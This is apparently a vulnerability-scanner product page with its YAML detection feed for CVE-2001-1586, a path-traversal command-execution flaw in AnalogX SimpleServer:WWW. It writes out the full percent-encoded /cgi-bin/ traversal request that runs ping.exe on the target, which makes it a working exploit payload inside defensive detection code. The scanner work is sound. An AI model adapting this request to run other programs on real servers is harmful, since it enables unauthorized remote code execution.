Analogx Simpleserver — 1 vulnerability check

noctis ships 1 vulnerability check for Analogx Simpleserver, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

AnalogX SimpleServer:WWW cgi-bin Traversal Command Execution

CVECVE-2001-1586
Severitycritical · CVSS 10.0
Categoryrce — Remote code execution
Serviceshttp, https
Detectionset_var, tcp_connect, match · highest QoD 97
Feedtests/vulnerabilities/analogx-simpleserver/CVE-2001-1586.yaml

Detects unauthenticated program execution in AnalogX SimpleServer:WWW 1.13 and earlier (CVE-2001-1586). The server decodes percent-encoded "../" sequences in a /cgi-bin/ request only after its traversal check, so a request such as /cgi-bin/%2E%2E%2F...%2FWINNT%2Fsystem32%2Fping.exe%20127.0.0.1 runs any program on the disk with the given arguments and returns its output. The probe sends that request over a raw socket, keeping the encoding intact, for the Windows NT/2000, XP and later, and 9x system directories, asking ping.exe to send one echo to the loopback address. A finding is reported only when the reply contains the output of the ping run on the target (a "127.0.0.1 ... TTL=" reply line, in any language), which proves the program was executed.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET /cgi-bin/%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F{{prog}} HTTP…
  2. Checks resp.banner for 127\.0\.0\.1[^\r\n]{0,60}TTL=\d+ → finding QoD 97: SimpleServer:WWW program execution confirmed: GET /cgi-bin/%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F… ran ping.exe on…

References:

Feed source — tests/vulnerabilities/analogx-simpleserver/CVE-2001-1586.yaml
# AnalogX SimpleServer:WWW cgi-bin encoded traversal program execution (CVE-2001-1586)
#
# Ported from OpenVAS/Greenbone NVT `pre2008/simplewww.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.10705, GPL-2.0-only) and BID 3112.
# The NASL sends, verbatim (raw socket, percent-encoding kept):
#   GET /cgi-bin/%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%57%49%4E%4E%54%2F%73%79%73%74%65%6D%33%32%2Fping.exe%20127.0.0.1
#   GET /cgi-bin/%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%57%69%6E%64%6F%77%73%2Fping.exe%20127.0.0.1
# and reports when the reply holds "Reply from 127.0.0.1".
#
# Root cause: SimpleServer:WWW <= 1.13 decodes the cgi-bin request path after
# its "../" check, so %2E%2E%2F walks out of cgi-bin and any program on the
# disk runs as a CGI; the text after %20 is passed as its command line. The
# program's output is returned in the HTTP reply. Fixed in 1.15.
#
# Benign proof: `ping.exe 127.0.0.1` (loopback only, read-only) — its output
# can only come from the program really running on the target.
#
# Better than the NASL:
#   - the NASL only runs on hosts its banner detection tagged as SimpleServer;
#     this feed probes every HTTP service, so a renamed/hidden banner is caught.
#   - `-n 1` probes come first: a default ping sends 4 echoes (~3 s), which can
#     outlast the read window of a server that returns CGI output only when the
#     program exits. The NASL's exact URLs are still sent afterwards.
#   - adds Windows\System32 (XP/2003+ layout) next to WINNT\system32 (NT/2000)
#     and Windows\ (9x).
#   - the match is locale-independent: Windows ping prints "TTL=" on its reply
#     lines in every language ("Reply from" / "Réponse de" / "Antwort von").
uid: f2eae7d5-467a-4deb-810e-042c45f2e1a2
name: "AnalogX SimpleServer:WWW cgi-bin Traversal Command Execution (CVE-2001-1586)"
description: |
  Detects unauthenticated program execution in AnalogX SimpleServer:WWW 1.13
  and earlier (CVE-2001-1586). The server decodes percent-encoded "../"
  sequences in a /cgi-bin/ request only after its traversal check, so a
  request such as /cgi-bin/%2E%2E%2F...%2FWINNT%2Fsystem32%2Fping.exe%20127.0.0.1
  runs any program on the disk with the given arguments and returns its
  output. The probe sends that request over a raw socket, keeping the
  encoding intact, for the Windows NT/2000, XP and later, and 9x system
  directories, asking ping.exe to send one echo to the loopback address. A
  finding is reported only when the reply contains the output of the ping
  run on the target (a "127.0.0.1 ... TTL=" reply line, in any language),
  which proves the program was executed.
cves: [CVE-2001-1586]
cvss: 10.0
severity: critical
confidence_base: 0.30
category: rce
tags: [analogx, simpleserver, windows, cgi, path-traversal, command-execution, rce, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2001-1586"
  - "http://www.securityfocus.com/bid/3112"
  - "http://seclists.org/bugtraq/2001/Jul/660"
  - "http://www.securiteam.com/windowsntfocus/5TP0B1P4UK.html"

steps:
  - id: init-resp
    action: set_var
    var_name: resp
    var_value: {connected: false, banner: ""}
    loop:
      over:
        - "WINNT%2Fsystem32%2Fping.exe%20-n%201%20127.0.0.1"
        - "Windows%2FSystem32%2Fping.exe%20-n%201%20127.0.0.1"
        - "Windows%2Fping.exe%20-n%201%20127.0.0.1"
        - "%57%49%4E%4E%54%2F%73%79%73%74%65%6D%33%32%2Fping.exe%20127.0.0.1"
        - "%57%69%6E%64%6F%77%73%2Fping.exe%20127.0.0.1"
      var: prog

  - id: exec-ping
    action: tcp_connect
    port: "{{port}}"
    send: "GET /cgi-bin/%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F{{prog}} HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    store_as: resp

  - id: confirm-ping-output
    action: match
    source: resp.banner
    pattern: "127\\.0\\.0\\.1[^\\r\\n]{0,60}TTL=\\d+"
    on_match:
      finding:
        confidence_delta: 0.67
        qod: 97
        evidence: "SimpleServer:WWW program execution confirmed: GET /cgi-bin/%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F{{prog}} ran ping.exe on the target and returned its loopback reply output"
      stop: true

View these feeds on GitHub